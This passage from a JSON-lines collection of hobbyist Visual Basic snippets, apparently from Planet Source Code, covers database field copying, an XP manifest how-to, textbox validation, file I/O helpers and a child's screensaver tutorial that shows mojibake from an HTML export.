RS1.Fields(FieldIndex).Name & \") Error or Locked Out\" & \"'\"\n Err.Number = 0\n End If\n Else\n RS2.Fields(RS1.Fields(FieldIndex).Name) = RS1.Fields(FieldIndex) & \"\"\n 'Log the bad fields\n If Err.Number > 0 Then\n DB.Execute \"INSERT INTO tbl_UpdateLog ( BadID, Comment )SELECT \" & \"'\" & Format(RS1.Fields(\"ID\")) & \"', '\" & \"Field#\" & Format(FieldIndex) & \"(\" & RS1.Fields(FieldIndex).Name & \") Error or Locked Out\" & \"'\"\n Debug.Print \"Field#\" & Format(FieldIndex) & \"(\" & RS1.Fields(FieldIndex).Name & \") Error or Locked Out\" & \"'\"\n Err.Number = 0\n End If\n End If\n DoEvents\n End If\n Next FieldIndex\n Debug.Print \"Rec: \" & Format(RecordIndex) & \" of \" & Format(RecordCount)\n RS2.Update\n DoEvents\n RS1.MoveNext\n Next RecordIndex\n Beep\n MsgBox \"Processing has been completed.\", vbInformation\nQuit_Handler:\n Set RS1 = Nothing\n Set RS2 = Nothing\n Set DB = Nothing\n Exit Sub\nErr_Handler:\n DB.Execute \"INSERT INTO tbl_UpdateLog ( BadID, Comment )SELECT \" & \"'\" & Format(RS1.Fields(\"ID\")) & \"', '\" & \"Field#\" & Format(FieldIndex) & \"(\" & RS1.Fields(FieldIndex).Name & \") Error or Locked Out\" & \"'\"\n Beep\n Debug.Print \"Field#\" & Format(FieldIndex) & \"(\" & RS1.Fields(FieldIndex).Name & \") Error or Locked Out\" & \"'\"\n Err = 0\n Resume Quit_Handler\nEnd Sub\nFunction SetAllowZeroLength(MyTable As String)\n'Author: Planet Source Code\n'Purpose This function sets the allow zero string to true\n'for all Text and Memo fields in all tables in an Access database.\n \nDim I As Integer, J As Integer\nDim DB As Database, td As TableDef, fld As Field\nSet DB = CurrentDb()\n'The following line prevents the code from stopping if you do not\n'have permissions to modify particular tables, such as system\n'tables.\n \n On Error Resume Next\n For I = 0 To DB.TableDefs.Count - 1\n If DB.TableDefs(I).Name = MyTable Then\n Set td = DB(I)\n For J = 0 To td.Fields.Count - 1\n Set fld = td(J)\n If (fld.Type = DB_TEXT Or fld.Type = DB_MEMO) And Not _\n fld.AllowZeroLength Then\n fld.AllowZeroLength = True\n End If\n Next J\n End If\n Next I\n DB.Close\nEnd Function\n"},{"WorldId":1,"id":29985,"LineNumber":1,"line":"In your form add the following:\n \nOption Explicit\n \nPrivate Declare Function InitCommonControls \nLib \"Comctl32.dll\" () As Long\n\nPrivate Sub Form_Initialize()\n \nDim XP As Long\n \nXP = InitCommonControls\n \n \nEnd Sub\n\nNow in a good text editor geared towards coding languages (such as edit plus) you add this.\n \n#?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?#\n \n#assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"#\n \n#assemblyIdentity \nversion=\"1.0.0.0\" \nprocessorArchitecture=\"X86\" \nname=\"PorkORamaInc.ClassReunionCompanion.Reunion.exe\" \ntype=\"win32\" \n/#\n \n#description#WindowsExecutable#/description# \"\n \n#dependency#\n \n#dependentAssembly#\n \n#assemblyIdentity \ntype=\"win32\" \nname=\"Microsoft.Windows.Common-Controls\" \nversion=\"6.0.0.0\" \nprocessorArchitecture=\"X86\" \npublicKeyToken=\"6595b64144ccf1df\" \nlanguage=\"*\" \n/#\n \n #/dependentAssembly#\n \n#/dependency#\n \n#/assembly#\n\nNow for some explanations...\nthis line here : \nname=\"PorkORamaInc.ClassReunionCompanion.Reunion.exe\" \n \nPorkORamaInc would be your company name\nClassReunionCompanion Would Be Your Product Name\nReunion.exe of course would be your programs exe name\n\nThis line here:\n#description#WindowsExecutable#/description#\nwell thats basically what it appears to be, it's your files description.\nwhen done save the file as the following\nReunion.exe.manifest\n \nreunion.exe would be replaced by the actual name of your programs executable file. \nDue to psc treating the code as html i had to replace the < and > with # so just replace them when using this code."},{"WorldId":1,"id":30805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30425,"LineNumber":1,"line":"'Just Paste This in the change section of the textbox sub \n \n \nPrivate Sub txtText1_Change() \n'if an error should occur go to the error handler\n \n On Error GoTo txtText1_Change_Err \n \n'if the text entered is not numeric\n \n100 If Not IsNumeric(txtText1.Text) Then \n \n'display the message box warning\n \n102 MsgBox \"Only Numerals Are Allowed\", vbOKOnly + vbExclamation, \"Numerals Only\" \n \n \n \n End If\n \n \n \n Exit Sub\n \n'after handling the error and showing what line the error occured in if any \n \n' then resume the next action \n \n \ntxtText1_Change_Err:\n \n MsgBox Err.Description & vbCrLf & _ \n \n\"in Project1.Form1.txtText1_Change \" & _ \n \n \"at line \" & Erl\n \n Resume Next \n \nEnd Sub\n \n \nyou could easily have the textbox clear out by adding txt.text =\"\" but that is so basic I figured no need to add it.\nPlease if theres no code like this and it does indeed help you at least give me a vote for my time sharing this."},{"WorldId":1,"id":26198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26063,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26797,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23818,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23824,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25113,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32038,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32098,"LineNumber":1,"line":"This code can change the caption of buttons.\nThis is how it works:\n \n \nFirst, you need to \"Hook\" the message box. This allows you to change button captions and stuff.\n \n \nThen, you need to do a FindWindow on the message box dialog, FindWindow(\"#32770\", \"Title\"). This will retrieve the hWnd of the Message Box.\n \n \nAfter that you need to get the hWnd of the buttons (or use the SetDlgItemText API function). To get the hWnd of the button, you do FindWindow(\"Button\", \"Button Caption\").\n \n \nThen you just need to send the WM_SETTEXT message to set the text of the button, and you're done! You have your custom message box. If I'm right, I think that's how it goes, as I'm just reciting from my brain right now. If I made a mistake, just download my article zip. It does everything right. No mistakes there :)."},{"WorldId":1,"id":24062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25704,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27613,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23923,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23871,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24844,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23925,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24127,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24726,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27207,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27137,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27068,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23939,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24050,"LineNumber":1,"line":"'-- If you have any problems with this code please contact me\n'-- at patrick1@mediaone.net. Feel free to drop me a line\n'-- letting me know you are using this or if this code is\n'-- helpfull to you. Enjoy!!\nPublic Function ReadFile(strPath As String) As Variant\nOn Error GoTo eHandler\n \n Dim iFileNumber As Integer\n Dim blnOpen As Boolean\n \n iFileNumber = FreeFile\n \n Open strPath For Input As #iFileNumber\n \n blnOpen = True\n \n ReadFile = Input(LOF(iFileNumber), iFileNumber)\n \neHandler:\n \n If blnOpen Then Close #iFileNumber\n \n If Err Then MsgBox Err.Description, vbOKOnly + vbExclamation, Err.Number & \" - \" & Err.Source\n \nEnd Function\nPublic Function WriteFile(strPath As String, strValue As String) As Boolean\nOn Error GoTo eHandler\n Dim iFileNumber As Integer\n Dim blnOpen As Boolean\n \n iFileNumber = FreeFile\n \n Open strPath For Output As #iFileNumber\n \n blnOpen = True\n \n Print #iFileNumber, strValue\n \neHandler:\n \n If blnOpen Then Close #iFileNumber\n \n If Err Then\n MsgBox Err.Description, vbOKOnly + vbExclamation, Err.Number & \" - \" & Err.Source\n Else\n WriteFile = True\n End If\n \nEnd Function"},{"WorldId":1,"id":24195,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30977,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27913,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33958,"LineNumber":1,"line":"<style>\n\n</style>\n</head>\n<body lang=EN-CA style='tab-interval:.5in'>\n<div class=Section1>\nScreensaver Tutorial\nIn this tutorial you will learn how to create a\nscreensaver with visual basic.┬á It is\nfairly easy once you study it so now lets get into the project.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWe will create a screensaver today\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nTo start off, start a new project in visual basic.<o:p></o:p>\nName the project ΓÇ£BlankerΓÇ¥.<o:p></o:p>\nAdd four forms and name one ΓÇÿfrmMainΓÇÖ, one\nΓÇÿfrmSettingsΓÇÖ, one ΓÇÿfrmPassSetupΓÇÖ and one ΓÇÿfrmPasswordΓÇÖ. Also add a new module.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nClick the menu project|Blanker Properties.<o:p></o:p>\nIn the ΓÇÿGeneralΓÇÖ tab, change the ΓÇÿStartup ObjectΓÇÖ\nto Sub Main.<o:p></o:p>\n<h1>Choose the ΓÇÿMakeΓÇÖ tab and in the title\ntext box, type ΓÇ£SCRNSAVER BlankerΓÇ¥<o:p></o:p></h1>\nNow\nclick ok and youΓÇÖre ready to start coding!<o:p></o:p>\nIn\nthe module you created, copy these APIΓÇÖs into it:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nOption\nExplicit 'All variables must be declared<o:p></o:p>\n'Constants<o:p></o:p>\nPublic\nConst SW_SHOWNORMAL = 1<o:p></o:p>\nPrivate\nConst APP_NAME = "Blanker"<o:p></o:p>\nΓÇÿAPIΓÇÖs<o:p></o:p>\nΓÇÿThis\nFunction Shows and hides the cursor.<o:p></o:p>\nDeclare\nFunction ShowCursor Lib "user32" (ByVal bShow<span\nstyle=\"mso-spacerun: yes\">┬á As Long) As Long<o:p></o:p>\nΓÇÿThis\nfunction finds if another instance of the saver is running.<o:p></o:p>\nDeclare\nFunction FindWindow Lib "user32" Alias\n"FindWindowA"(ByVallpClassName As String, ByVal lpWindowName As\nString) As Long<o:p></o:p>\n<span style='font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Arial;\nmso-fareast-font-family:\"Times New Roman\";mso-bidi-font-family:\"Times New Roman\";\nmso-ansi-language:EN-CA;mso-fareast-language:EN-US;mso-bidi-language:AR-SA'><br\nclear=all style='page-break-before:always'>\n\nNow copy the main sub:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSub\nMain ()<o:p></o:p>\nΓÇÿThis\nsub is called when windows wants the screensaver to run a certain event.<o:p></o:p>\nΓÇÿThis\nlocates what windows wants and activates it.<o:p></o:p>\nSelect\nCase Mid(UCase$(Trim$(Command$)), 1, 2)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCase\n"/C" 'Configurations mode called<o:p></o:p>\nfrmSettings.Show\n1<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCase\n"", "/S" 'Screensaver mode<o:p></o:p>\nrunScreensaver<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCase\n"/A" 'Password protect dialog<o:p></o:p>\nfrmPassSetup.Show\n1<o:p></o:p>\nCase\n"/P" 'Preview mode<o:p></o:p>\nΓÇÿThe\npreview mode is very advanced. It is when you see a clip of it on the little\nΓÇÿmonitor. Just leave the monitor screen blank.<o:p></o:p>\nEnd<o:p></o:p>\nEnd\nSelect<o:p></o:p>\nEnd\nSub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow copy the other\nfunctions that go into the module:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate\nSub runScreensaver() 'Run the screen saver<o:p></o:p>\ncheckInstance\n'Make sure no other instances are running<o:p></o:p>\nShowCursor\nFalse 'Disable cursor<o:p></o:p>\n'load\nScreen Saver's main form<o:p></o:p>\nLoad\nfrmMain<o:p></o:p>\nfrmMain.Show<o:p></o:p>\nEnd\nSub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate\nSub checkInstance()<o:p></o:p>\n'If\nno previous instance is running, exit sub<o:p></o:p>\nIf\nNot App.PrevInstance Then Exit Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'check\nfor another instance of screen saver<o:p></o:p>\nIf\nFindWindow(vbNullString, APP_NAME) Then Exit Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'Set\nour caption so other instances can find<o:p></o:p>\n'us\nin the previous line.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nfrmMain.Caption\n= APP_NAME<o:p></o:p>\nEnd\nSub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSub\nexitScreensaver() 'Exit the screensaver<o:p></o:p>\nShowCursor\nTrue ΓÇÿShow the cursor<o:p></o:p>\nEnd<o:p></o:p>\nEnd\nSub<o:p></o:p>\nNow for the Settings\nform.<o:p></o:p>\nSet the formΓÇÖs\nproperties as follows:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid teal 1.5pt;mso-padding-alt:0in 5.4pt 0in 5.4pt'>\n <tr>\n <td width=295 valign=top style='width:221.4pt;border-top:solid teal 1.5pt;\n border-left:solid teal 1.5pt;border-bottom:solid aqua .75pt;border-right:\n none;background:black;mso-shading:white;mso-pattern:solid black;padding:0in 5.4pt 0in 5.4pt'>\n Property<o:p></o:p>\n </td>\n <td width=295 valign=top style='width:221.4pt;border-top:solid teal 1.5pt;\n border-left:none;border-bottom:solid aqua .75pt;border-right:solid teal 1.5pt;\n background:black;mso-shading:white;mso-pattern:solid black;padding:0in 5.4pt 0in 5.4pt'>\n Setting<o:p></o:p>\n </td>\n </tr>\n <tr>\n <td width=295 valign=top style='width:221.4pt;border-top:none;border-left:\n solid teal 1.5pt;border-bottom:solid aqua .75pt;border-right:none;mso-border-top-alt:\n solid aqua .75pt;background:navy;mso-shading:white;mso-pattern:solid navy;\n padding:0in 5.4pt 0in 5.4pt'>\n Border Style<o:p></o:p>\n </td>\n <td width=295 valign=top style='width:221.4pt;border-top:none;border-left:\n none;border-bottom:solid aqua .75pt;border-right:solid teal 1.5pt;mso-border-top-alt:\n solid aqua .75pt;background:teal;mso-shading:white;mso-pattern:solid teal;\n padding:0in 5.4pt 0in 5.4pt'>\n 4 ΓÇô\n FixedToolWindow<o:p></o:p>\n </td>\n </tr>\n <tr>\n <td width=295 valign=top style='width:221.4pt;border-top:none;border-left:\n solid teal 1.5pt;border-bottom:solid aqua .75pt;border-right:none;mso-border-top-alt:\n solid aqua .75pt;background:navy;mso-shading:white;mso-pattern:solid navy;\n padding:0in 5.4pt 0in 5.4pt'>\n Caption<o:p></o:p>\n </td>\n <td width=295 valign=top style='width:221.4pt;border-top:none;border-left:\n none;border-bottom:solid aqua .75pt;border-right:solid teal 1.5pt;mso-border-top-alt:\n solid aqua .75pt;background:teal;mso-shading:white;mso-pattern:solid teal;\n padding:0in 5.4pt 0in 5.4pt'>\n About<o:p></o:p>\n </td>\n </tr>\n</table>\nNow just add a label and\nset itΓÇÖs caption to ΓÇ£Created By: ΓÇ£ and your name or something.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThat form had no code.<o:p></o:p>\nNow letΓÇÖs move on to the\npassword setup form.<o:p></o:p>\nSet the caption to\nΓÇ£PasswordΓÇ¥ and the border style to 4.<o:p></o:p>\nNow add a label that\nsays ΓÇ£Password:ΓÇ¥ and add a text box beside it named txtPassword. Now add two\ncommand buttons with one named ΓÇ£cmdOKΓÇ¥ and one named ΓÇ£cmdCancelΓÇ¥. Set the\ncaptions to ΓÇÿOKΓÇÖ and ΓÇÿCancelΓÇÖ.<o:p></o:p>\nNow copy this code:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate\nSub cmdCancel_Click()<o:p></o:p>\nUnload\nMe<o:p></o:p>\nEnd\nSub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate\nSub cmdOK_Click()<o:p></o:p>\nSaveSetting\n"Blanker", "Settings", "Password",\ntxtPassword.Text<o:p></o:p>\nUnload\nMe<o:p></o:p>\nEnd\nSub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow letΓÇÖs get into the\nother password form.<o:p></o:p>\nSet the formΓÇÖs settings\nas the same as the other passwordΓÇÖs formΓÇÖs settings.<o:p></o:p>\nNow add the same\ncontrols as the password setup form with the same properties.<o:p></o:p>\nNow just enter this\ncode:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate\nSub cmdOK_Click()<o:p></o:p>\nIf\ntxtPassword.Text = GetSetting("Blanker", "Settings",\n"Password", "") Then<o:p></o:p>\nexitScreensaver<o:p></o:p>\nUnload\nMe<o:p></o:p>\nElse<o:p></o:p>\ntxtPassword.Text\n= ""<o:p></o:p>\nMe.Hide<o:p></o:p>\nMsgBox\n"Wrong password! Try again!", vbOKOnly + vbCritical,\n"Password"<o:p></o:p>\nUnload\nMe<o:p></o:p>\nEnd\nIf<o:p></o:p>\nEnd\nSub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate\nSub cmdCancel_Click()<o:p></o:p>\nUnload\nMe<o:p></o:p>\nEnd\nSub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow for the main form:<o:p></o:p>\nSet the formΓÇÖs\nproperties as so:<o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid teal 1.5pt;mso-padding-alt:0in 5.4pt 0in 5.4pt'>\n <tr>\n <td width=295 valign=top style='width:221.4pt;border-top:solid teal 1.5pt;\n border-left:solid teal 1.5pt;border-bottom:solid aqua .75pt;border-right:\n none;background:black;mso-shading:white;mso-pattern:solid black;padding:0in 5.4pt 0in 5.4pt'>\n Property<o:p></o:p>\n </td>\n <td width=295 valign=top style='width:221.4pt;border-top:solid teal 1.5pt;\n border-left:none;border-bottom:solid aqua .75pt;border-right:solid teal 1.5pt;\n background:black;mso-shading:white;mso-pattern:solid black;padding:0in 5.4pt 0in 5.4pt'>\n Setting<o:p></o:p>\n </td>\n </tr>\n <tr>\n <td width=295 valign=top style='width:221.4pt;border-top:none;border-left:\n solid teal 1.5pt;border-bottom:solid aqua .75pt;border-right:none;mso-border-top-alt:\n solid aqua .75pt;background:navy;mso-shading:white;mso-pattern:solid navy;\n padding:0in 5.4pt 0in 5.4pt'>\n BackColor<o:p></o:p>\n </td>\n <td width=295 valign=top style='width:221.4pt;border-top:none;border-left:\n none;border-bottom:solid aqua .75pt;border-right:solid teal 1.5pt;mso-border-top-alt:\n solid aqua .75pt;background:teal;mso-shading:white;mso-pattern:solid teal;\n padding:0in 5.4pt 0in 5.4pt'>\n &H00000000&<o:p></o:p>\n </td>\n </tr>\n <tr>\n <td width=295 valign=top style='width:221.4pt;border-top:none;border-left:\n solid teal 1.5pt;border-bottom:solid aqua .75pt;border-right:none;mso-border-top-alt:\n solid aqua .75pt;background:navy;mso-shading:white;mso-pattern:solid navy;\n padding:0in 5.4pt 0in 5.4pt'>\n BorderStyle<o:p></o:p>\n </td>\n <td width=295 valign=top style='width:221.4pt;border-top:none;border-left:\n none;border-bottom:solid aqua .75pt;border-right:solid teal 1.5pt;mso-border-top-alt:\n solid aqua .75pt;background:teal;mso-shading:white;mso-pattern:solid teal;\n padding:0in 5.4pt 0in 5.4pt'>\n 0 ΓÇô None<o:p></o:p>\n </td>\n </tr>\n <tr>\n <td width=295 valign=top style='width:221.4pt;border-top:none;border-left:\n solid teal 1.5pt;border-bottom:solid aqua .75pt;border-right:none;mso-border-top-alt:\n solid aqua .75pt;background:navy;mso-shading:white;mso-pattern:solid navy;\n padding:0in 5.4pt 0in 5.4pt'>\n Caption<o:p></o:p>\n </td>\n <td width=295 valign=top style='width:221.4pt;border-top:none;border-left:\n none;border-bottom:solid aqua .75pt;border-right:solid teal 1.5pt;mso-border-top-alt:\n solid aqua .75pt;background:teal;mso-shading:white;mso-pattern:solid teal;\n padding:0in 5.4pt 0in 5.4pt'>\n Blanker<o:p></o:p>\n </td>\n </tr>\n <tr>\n <td width=295 valign=top style='width:221.4pt;border-top:none;border-left:\n solid teal 1.5pt;border-bottom:solid teal 1.5pt;border-right:none;mso-border-top-alt:\n solid aqua .75pt;background:navy;mso-shading:white;mso-pattern:solid navy;\n padding:0in 5.4pt 0in 5.4pt'>\n WindowState<o:p></o:p>\n </td>\n <td width=295 valign=top style='width:221.4pt;border-top:none;border-left:\n none;border-bottom:solid teal 1.5pt;border-right:solid teal 1.5pt;mso-border-top-alt:\n solid aqua .75pt;background:teal;mso-shading:white;mso-pattern:solid teal;\n padding:0in 5.4pt 0in 5.4pt'>\n 2 -\n Maximized<o:p></o:p>\n </td>\n </tr>\n</table>\nNow add a line control\nanywhere on the form and set itΓÇÖs BorderColor to &H00FFFFFF&. Now just\ncopy this code and your screensaver will be finished.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic\nbWhite As Boolean<o:p></o:p>\nPrivate\nSub Form_Activate()<o:p></o:p>\nLine1.X1\n= frmMain.Width \\ 2<o:p></o:p>\nLine1.Y1\n= frmMain.Height \\ 2<o:p></o:p>\nLine1.X2\n= frmMain.Width \\ 2<o:p></o:p>\nLine1.Y2\n= frmMain.Height \\ 2<o:p></o:p>\nTimer1.Enabled\n= True<o:p></o:p>\nEnd\nSub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate\nSub Form_Click()<o:p></o:p>\nIf\nGetSetting("Blanker", "Settings", "Password",\n"") <> "" Then<o:p></o:p>\nfrmPassword.Show\n'If a password is set then show the password box<o:p></o:p>\nElse<o:p></o:p>\nexitScreensaver\n'exit the screensaver<o:p></o:p>\nEnd\nIf<o:p></o:p>\nEnd\nSub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate\nSub Form_DblClick()<o:p></o:p>\nIf\nGetSetting("Blanker", "Settings", "Password",\n"") <> "" Then<o:p></o:p>\nfrmPassword.Show\n'If a password is set then show the password box<o:p></o:p>\nElse<o:p></o:p>\nexitScreensaver\n'exit the screensaver<o:p></o:p>\nEnd\nIf<o:p></o:p>\nEnd\nSub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate\nSub Form_KeyDown(KeyCode As Integer, Shift As Integer)<o:p></o:p>\nIf\nGetSetting("Blanker", "Settings", "Password",\n"") <> "" Then<o:p></o:p>\nfrmPassword.Show\n'If a password is set then show the password box<o:p></o:p>\nElse<o:p></o:p>\nexitScreensaver\n'exit the screensaver<o:p></o:p>\nEnd\nIf<o:p></o:p>\nEnd\nSub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate\nSub Form_KeyPress(KeyAscii As Integer)<o:p></o:p>\nIf\nGetSetting("Blanker", "Settings", "Password",\n"") <> "" Then<o:p></o:p>\nfrmPassword.Show\n'If a password is set then show the password box<o:p></o:p>\nElse<o:p></o:p>\nexitScreensaver\n'exit the screensaver<o:p></o:p>\nEnd\nIf<o:p></o:p>\nEnd\nSub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate\nSub Form_KeyUp(KeyCode As Integer, Shift As Integer)<o:p></o:p>\nIf\nGetSetting("Blanker", "Settings", "Password",\n"") <> "" Then<o:p></o:p>\nfrmPassword.Show\n'If a password is set then show the password box<o:p></o:p>\nElse<o:p></o:p>\nexitScreensaver\n'exit the screensaver<o:p></o:p>\nEnd\nIf<o:p></o:p>\nEnd\nSub<o:p></o:p>\nPrivate\nSub Form_Load()<o:p></o:p>\nShowCursor\nFalse 'Hide the cursor<o:p></o:p>\nbWhite\n= True<o:p></o:p>\nEnd\nSub<o:p></o:p>\nPrivate\nSub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As\nSingle)<o:p></o:p>\nIf\nGetSetting("Blanker", "Settings", "Password",\n"") <> "" Then<o:p></o:p>\nfrmPassword.Show\n'If a password is set then show the password box<o:p></o:p>\nElse<o:p></o:p>\nexitScreensaver\n'exit the screensaver<o:p></o:p>\nEnd\nIf<o:p></o:p>\nEnd\nSub<o:p></o:p>\nPrivate\nSub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As\nSingle)<o:p></o:p>\nStatic\nx0 As Integer<o:p></o:p>\nStatic\ny0 As Integer<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á ' Do nothing except in screen saver mode.<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á If RunMode <> rmScreenSaver Then\nExit Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á '\nUnload on large mouse movements.<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á If ((x0 = 0) And (y0 = 0)) Or _<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á┬á ((Abs(x0 - X) < 5) And (Abs(y0 - Y)\n< 5)) _<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á┬á Then<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ' It's a small movement.<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á x0 = X<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á y0 = Y<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Exit Sub<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á End If<o:p></o:p>\nexitScreensaver<o:p></o:p>\nEnd\nSub<o:p></o:p>\nPrivate\nSub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)<o:p></o:p>\nIf\nGetSetting("Blanker", "Settings", "Password",\n"") <> "" Then<o:p></o:p>\nfrmPassword.Show\n'If a password is set then show the password box<o:p></o:p>\nElse<o:p></o:p>\nexitScreensaver\n'exit the screensaver<o:p></o:p>\nEnd\nIf<o:p></o:p>\nEnd\nSub<o:p></o:p>\nPrivate\nSub Timer1_Timer()<o:p></o:p>\nLine1.BorderWidth\n= Line1.BorderWidth + 3 'Increase the border width by 3<o:p></o:p>\nIf\nLine1.BorderWidth >= 1000 Then<o:p></o:p>\nLine1.BorderWidth\n= 1 'If the line's border width gets bigger than the screen then set it back to\none.<o:p></o:p>\nIf\nbWhite = True Then<o:p></o:p>\nLine1.BorderColor\n= vbGreen<o:p></o:p>\nbWhite\n= False<o:p></o:p>\nGoTo\nThis<o:p></o:p>\nEnd\nIf<o:p></o:p>\nIf\nbWhite = False Then<o:p></o:p>\nLine1.BorderColor\n= vbWhite<o:p></o:p>\nbWhite\n= True<o:p></o:p>\nEnd\nIf<o:p></o:p>\nEnd\nIf<o:p></o:p>\nThis:<o:p></o:p>\nEnd\nSub<o:p></o:p>\n<span\nstyle='font-weight:normal'>DonΓÇÖt forget: Compile and then change extention\nto.scr.<o:p></o:p>\n<span\nstyle='font-weight:normal'>Now my tutorial ends on making screen savers. If you\nneed further instructions because you did not understand, then check the source\ncode that came with this tutorial.<o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt'>Edited By: Aaron Lindsay Now\nThe Age Of Eleven <o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt'>Created By: Aaron Lindsay Of\nThe Age Of Ten<o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt'>Friday, March 30, 2002<o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt'>Please Vote<o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNote:┬á When\ntesting the screensaver from visual basic, donΓÇÖt use the shortcut of F5 to\nstart it because it will instantly disappear. Click on the ΓÇÿ>ΓÇÖ part.\nNote #2: This was created in VB6. There is no guarantee\nthat it will work on other versions (It wonΓÇÖt work on VB4 16 bit version &\nlower).\nNote #3: If youΓÇÖre making your own screensaver based 